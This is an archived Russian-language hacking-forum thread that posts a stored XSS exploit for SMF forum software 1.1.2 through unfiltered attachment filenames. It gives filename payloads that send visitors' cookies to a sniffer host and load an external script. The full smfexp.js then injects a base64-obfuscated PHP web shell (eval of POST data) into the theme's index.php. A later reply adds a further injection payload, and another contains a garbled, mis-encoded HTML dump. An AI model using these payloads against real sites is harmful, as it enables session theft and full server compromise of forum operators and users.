PDA

Просмотр полной версии : [ Active-XSS in SMF ]


Cenarius
14.06.2007, 23:21
SMF Active XSS
(current version 1.1.2)

Отсутствует фильтрация atachment filename

Способы эксплуатации:
1. Получение cookie
Создаем сообщение и прикрепляем к нему файл со следующим имененем:
(работает во всех браузерах)
attachfilename<img src=. width=1 height=1 onerror=javascript:new Image().src='http://sniffsite.com/s.gif?'+document.cookie>.txt
(в адресе sniffer'a все / заменяем на /)
Получаем cookie

2. Получение web shell'a
Создаем сообщение и прикрепляем к нему файл со следующим имененем:
(работает во всех браузерах)
name<img src=. width=1 height=1 onerror=javascript:var s=document.createElement('script');s.src='http://site.com/smfexp.js';document.documentElement.firstChild. appendChild(s);>.txt
(все / в атрибуте src заменяем на /)
Это код простейшего динамического загрузчика скриптов
http://site.com/smfexp.js - адрес загружаемого скрипта
smfexp.js изменяет шаблон default темы: вставляет в /smf/Themes/default/index.php shell

smfexp.js:
/*
SMF Active XSS Exploit by Cenarius
Email: ooohoow@gmail.com | Icq: 100732

Adds shell to index.php of default forum's template
*/

var shellCode = "<?php\n\n";
shellCode += "// Try to handle it with the upper level index.php. (it should know what to do.)\n";
shellCode += "eval(base64_decode('ZWNobyAnPHByZT4nOyBAZXZhbCgkX1 BPU1RbJ2NkJ10pOyBlY2hvICc8L3ByZT4nOw=='));\n"; // @eval($_POST['cd']);
shellCode += "if (file_exists(dirname(dirname(__FILE__)) . '/index.php'))\n";
shellCode += " include (dirname(dirname(__FILE__)) . '/index.php');\n";
shellCode += "else\n";
shellCode += " exit;\n\n?>";

sendRequest("index.php", null, "GET", getSesc);

function getSesc(request) {
var sessVerify = request.responseText.match(/sesc=([a-z0-9]{32})/);

if(sessVerify) {
sendRequest(
"index.php?action=theme;th=1;sa=edit",
"entire_file=" + escape(shellCode ) + "&submit=Save+Changes&filename=index.php&sc=" + sessVerify[1],
"POST", null);
}
}

function sendRequest(url, data, method, onLoadFunc) {
var request = createHttpRequest();

if(request) {
request.open(method, url, true);

if(method == "POST") {
request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); }

if(onLoadFunc) {
request.onreadystatechange = function() {
if(request.readyState == 4) {
onLoadFunc(request); }
}
}
request.send(data);
}
}

function createHttpRequest() {
var httpRequest = false;
try {
httpRequest = new ActiveXObject("Msxml2.XMLHTTP"); }
catch(e) {
try {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP"); }
catch(e) {
try {
httpRequest = new XMLHttpRequest(); }
catch(e) {
httpRequest = false;
}
}
}
return httpRequest;
}

// EOF


По адресу http://vulnsite.com/smf/Themes/default/index.php получаем web shell
index.php будет содержать следующий код:
@eval($_POST['cd']);

Также можно объединить 2 приведенных выше способа, прикрепив 2 файла, или добавив в smfexp.js:
new Image().src='http://sniffsite.com/s.gif?'+document.cookie;

Fugitif
04.10.2007, 18:08
Html Injection

<body onload=document.write(String.fromCharCode(Some char values...))>1.txt

:) also on 1.1.4

WeekTorr
02.02.2008, 22:09
attachfilename<img src=. width=1 height=1 onerror=javascript:new Image().src='http://old.antichat.ru/cgi-bin/s.gif?'+document.cookie>.txt

Делаю аттач, сообщение успешно добавляется на форум. Отображается что к сообщению прикреплен файл default.htm Вот такого вот содержания

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">਍㰀栀琀洀氀 搀椀爀㴀∀氀琀爀∀ 氀愀渀最㴀∀爀甀∀㸀ഀ <head>਍ 㰀琀椀琀氀攀㸀Ḁ䠄㠄㄄㨄〄㰄⼀琀椀琀氀攀㸀ഀ <link rel="stylesheet" href="file://localhost/C:/Program Files/Opera/styles/error.css" media="screen,projection,tv,handheld,print,speech">਍㰀⼀栀攀愀搀㸀ഀ <body>਍㰀栀㄀㸀ᴀ㔄㼄䀄〄㈄㠄㬄䰄㴄䬄㤄  㐄䀄㔄䄄㰄⼀栀㄀㸀ഀ <div>਍㰀瀀㸀唀刀䰀ⴀ 㐄䀄㔄䄄 㰀挀椀琀攀㸀栀琀琀瀀㨀⼀⼀愀琀琀愀挀栀昀椀氀攀渀愀洀攀─㌀䌀椀洀最─㈀  猀爀挀㴀⸀─㈀ 眀椀搀琀栀㴀㄀─㈀ 栀攀椀最栀琀㴀㄀─㈀ 漀渀攀爀爀漀爀㴀樀愀瘀愀猀挀爀椀瀀琀㨀渀攀 眀☀愀洀瀀㬀─㈀㌀㌀㈀䤀洀愀最攀⠀⤀⸀猀爀挀㴀✀栀琀琀瀀㨀☀愀洀瀀㬀─㈀㌀㐀㜀☀愀洀瀀㬀─㈀㌀㐀㜀漀 氀搀⸀愀渀琀椀挀栀愀琀⸀爀甀☀愀洀瀀㬀─㈀㌀㐀㜀挀最椀ⴀ戀椀渀☀愀洀瀀㬀─㈀㌀㐀㜀猀⸀最椀昀㼀✀⬀搀 漀挀甀洀攀渀琀⸀挀漀漀欀椀攀─㌀䔀⸀琀砀琀㰀⼀挀椀琀攀㸀 䄀㸄㐄㔄䀄㘄㠄䈄 㴀㔄㐄㸄㼄䌄䄄䈄㠄㰄䬄㔄  㜀㴄〄㨄㠄 㐀㬄伄 䀀〄䄄㼄㸄㬄㸄㘄㔄㴄㠄伄Ⰴ ㈀ 㨀㸄䈄㸄䀄㸄㰄 㸀㴄㠄 㸀㄄㴄〄䀄䌄㘄㔄㴄䬄⸄ 㰀⼀瀀㸀ഀ <ul>਍ 㰀氀椀㸀ἀ䀄㠄䜄㠄㴄㸄㤄 㠀䔄 㼀䀄㠄䄄䌄䈄䄄䈄㈄㠄伄 㰀㸄㘄㔄䈄 ㄀䬄䈄䰄 㴀㔄㼄䀄〄㈄㠄㬄䰄 㴄㸄 ㈀㈄㔄㐄㔄㴄㴄䬄㤄 唀刀䰀ⴀ 㐄䀄㔄䄄Ⰴ 㴀㸄  㐄䀄㔄䄄 㰀㸄㘄㔄䈄 䈀〄㨄㘄㔄 ㄀䬄䈄䰄  㼀㸄㼄䬄䈄㨄㸄㤄 㸀㄄㰄〄㴄㴄䬄㰄 㼀䌄䈄㔄㰄 ㈀䬄㴄䌄㐄㠄䈄䰄 ㈀〄䄄 㼀㸄䄄㔄䈄㠄䈄䰄 ㈀㔄㄄ⴄ 䄀䈄䀄〄㴄㠄䘄䌄Ⰴ 㨀㸄䈄㸄䀄䌄丄 ㈀䬄 䄀䜄㠄䈄〄㔄䈄㔄 㼀㸄 㸀䠄㠄㄄㨄㔄 ㄀㔄㜄㸄㼄〄䄄㴄㸄㤄 ⸄㰀⼀氀椀㸀ഀ </ul>਍㰀⼀搀椀瘀㸀㰀⼀戀漀搀礀㸀ഀ <

Собсно и все.. в логе снифера при этом не появляется ни одной новой записи. В чем причина?

Xack-Zero
17.02.2009, 17:17
У меня, когда переименовываешь файл, ругается на двоеточие, пишет нельзя делать имя файла с такими символами. Извините за архиологию.